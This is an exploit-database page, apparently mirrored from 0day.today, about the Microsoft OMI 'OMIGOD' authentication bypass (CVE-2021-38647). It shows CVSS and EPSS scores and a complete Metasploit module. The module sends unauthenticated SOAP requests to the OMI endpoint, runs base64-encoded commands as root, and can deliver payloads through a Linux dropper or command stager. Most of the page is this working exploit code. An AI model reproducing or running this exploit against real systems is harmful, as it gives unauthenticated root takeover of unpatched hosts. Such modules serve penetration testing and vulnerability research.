Lucene search

K
zdtMetasploit1337DAY-ID-36967
HistoryOct 31, 2021 - 12:00 a.m.

Microsoft OMI Management Interface Authentication Bypass Exploit

2021-10-3100:00:00
metasploit
0day.today
355

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%

By removing the authentication header, an attacker can issue an HTTP request to the OMI management endpoint that will cause it to execute an operating system command as the root user. This vulnerability was patched in OMI version 1.6.8-1 (released September 8th 2021).

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  XML_NS = { 'p' => 'http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem' }.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft OMI Management Interface Authentication Bypass',
        'Description' => %q{
          By removing the authentication header, an attacker can issue an HTTP request to the OMI management endpoint
          that will cause it to execute an operating system command as the root user. This vulnerability was patched in
          OMI version 1.6.8-1 (released September 8th 2021).
        },
        'Author' => [
          'Nir Ohfeld', # vulnerability discovery & research
          'Shir Tamari', # vulnerability discovery & research
          'Spencer McIntyre', # metasploit module
          'wvu' # vulnerability research
        ],
        'References' => [
          ['CVE', '2021-38647'],
          ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647'],
          ['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'],
          ['URL', 'https://censys.io/blog/understanding-the-impact-of-omigod-cve-2021-38647/'],
          ['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647']
        ],
        'DisclosureDate' => '2021-09-14',
        'License' => MSF_LICENSE,
        'Platform' => ['linux', 'unix'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'RPORT' => 5985,
          'SSL' => false,
          'MeterpreterTryToFork' => true
        },
        'Notes' => {
          'AKA' => ['OMIGOD'],
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/wsman'])
    ])
  end

  def check
    http_res = send_command('id')
    return CheckCode::Unknown if http_res.nil?
    return CheckCode::Safe unless http_res.code == 200

    cmd_res = parse_response(http_res)
    return CheckCode::Unknown if cmd_res.nil? || cmd_res[:stdout] !~ /uid=(\d+)\(\S+\) /

    return CheckCode::Vulnerable("Command executed as uid #{Regexp.last_match(1)}.")
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :unix_cmd
      result = execute_command(payload.encoded)
      if result
        print_status(result[:stdout]) unless result[:stdout].blank?
        print_error(result[:stderr]) unless result[:stderr].blank?
      end
    when :linux_dropper
      execute_cmdstager
    end
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Executing command: #{cmd}")
    res = send_command(cmd)

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}")
    end

    parse_response(res)
  end

  def parse_response(res)
    return nil unless res&.code == 200

    return_code = res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:ReturnCode', XML_NS)&.content.to_i
    unless return_code == 0
      print_error("Failed to execute command: #{cmd} (status: #{return_code})")
    end

    {
      return_code: return_code,
      stdout: res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:StdOut', XML_NS)&.content,
      stderr: res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:StdErr', XML_NS)&.content
    }
  end

  def send_command(cmd)
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'ctype' => 'text/xml;charset=UTF-8',
      'data' => Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
        <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
          <s:Header>
            <a:To>HTTP://127.0.0.1:5985/wsman/</a:To>
            <w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
            <a:ReplyTo>
              <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
            </a:ReplyTo>
            <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action>
            <w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
            <a:MessageID>uuid:#{Faker::Internet.uuid}</a:MessageID>
            <w:OperationTimeout>PT1M30S</w:OperationTimeout>
            <w:Locale xml:lang="en-us" s:mustUnderstand="false"/>
            <p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/>
            <w:OptionSet s:mustUnderstand="true"/>
            <w:SelectorSet>
              <w:Selector Name="__cimnamespace">root/scx</w:Selector>
            </w:SelectorSet>
          </s:Header>
          <s:Body>
            <p:ExecuteScript_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
              <p:Script>#{Rex::Text.encode_base64(cmd)}</p:Script>
              <p:Arguments/>
              <p:timeout>0</p:timeout>
              <p:b64encoded>true</p:b64encoded>
            </p:ExecuteScript_INPUT>
          </s:Body>
        </s:Envelope>
      ENVELOPE
    )
  end
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%